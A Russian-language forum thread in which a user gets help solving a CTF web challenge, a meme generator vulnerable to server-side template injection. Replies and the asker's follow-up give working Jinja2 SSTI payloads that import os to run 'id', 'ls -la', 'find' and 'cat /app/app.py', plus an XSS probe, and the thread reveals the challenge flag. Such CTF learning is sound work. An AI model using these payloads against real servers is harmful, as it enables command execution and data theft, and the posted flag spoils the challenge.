• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

CTF тест // Не могу решить

Amarant

New member
29.01.2025
4
0
BIT
36
Всем привет, у меня возникла проблема в решение одного CTF теста, выглядит он так:

Генератор Mem​


Стив вышел на прогулку и увидел ЭТО. Что же он увидел

wsr.gmax.pro:33701

Нижняя строка ведет на один сайт по порту 33701, там есть форма для ввода сгенерировать мем, галочка "абсолютная ржака" и надпись мем 2001, сама форма генерирует картинку могилы из майнкрафт и накладывает на неё текст который вписывается в форму, галочку делает картинку мигающей

Пробовал разные способы, изучал каталоги на сайте, искал информацию в самой картинке, пробовал SSX атаку и SQL инъекцию, но ничего не помогает. Если кто-то знает как это можно решить и что стоит делать буду очень благодарен за любую информацию и помощь!
 
Решение
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

1738162423030.webp


А вот и флаг

1738162543253.webp
попробуйте начать с
<script>alert(1)</script>
вставьте в поле ввода и посмотрите на поведение
Пробовал, XXS работает, прим вводе этого скрипта в форму сайт выдаёт оповещение с единичкой, но не совсем понимаю как действовать дальше и что можно ещё попробовать сделать
 
Последнее редактирование:
Всем привет, у меня возникла проблема в решение одного CTF теста, выглядит он так:

Генератор Mem​


Стив вышел на прогулку и увидел ЭТО. Что же он увидел

wsr.gmax.pro:33701

Нижняя строка ведет на один сайт по порту 33701, там есть форма для ввода сгенерировать мем, галочка "абсолютная ржака" и надпись мем 2001, сама форма генерирует картинку могилы из майнкрафт и накладывает на неё текст который вписывается в форму, галочку делает картинку мигающей

Пробовал разные способы, изучал каталоги на сайте, искал информацию в самой картинке, пробовал SSX атаку и SQL инъекцию, но ничего не помогает. Если кто-то знает как это можно решить и что стоит делать буду очень благодарен за любую информацию и помощь!
Привет. Тут явно SSTI. При вводе пейлоада {{7*7}} мы увидим результат

1738160389345.webp


Дальше сами)
 
Привет. Тут явно SSTI. При вводе пейлоада {{7*7}} мы увидим результат

Посмотреть вложение 78473

Дальше сами)
А можете немного рассказать об этой уязвимости из того, что хотя бы в теории может мне помочь? Буду очень вам благодарен

Upd: попробовал сейчас ввести в форму на сайте {{ config }}, но при переходе вместо картинки появилось лишь оповещение Ваш мем содержит запрещенную мнемонику 😳
Думаю, что нужно как-то получить права админа, чтобы получить доступ к конфигу
 
Последнее редактирование:
А можете немного рассказать об этой уязвимости из того, что хотя бы в теории может мне помочь? Буду очень вам благодарен
Из гугла
Server Side Template Injection (SSTI) — это уязвимость, которая возникает, когда веб-приложение неправильно обрабатывает пользовательский ввод в серверных шаблонах.

Злоумышленник может вставлять вредоносный код в шаблоны, которые сервер затем интерпретирует и выполняет. Это позволяет атакующему выполнять произвольные команды на сервере, получать доступ к конфиденциальным данным и потенциально контролировать сервер.
И еще одна полезная ссылка -
 
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Посмотреть вложение 78474

А вот и флаг

Посмотреть вложение 78475
У меня получилось!

Вот таким образом нашёл это
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la').read() }} - смотрит все файлы и каталоги в нынешней директории

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('find /app ').read() }} - если открывать все файлы, рано или поздно можно дойти до каталога app, он там по счёту вроде 3-4, я понял, что именно он, потому что от этого каталога идет каталог static в котором находятся файлы сайта, которые мем делают и т.п.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/app.py').read() }} открывает файл app.py в котором содержится исходный код сайта и в нём как раз был флаг flag{e4rth_4nd_ch1k1b4mb0ni}

Надеюсь, что правильно понял, что какая команда делает, 3 дня намучался с этим таском и наконец-то получилось, спасибо вам!
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!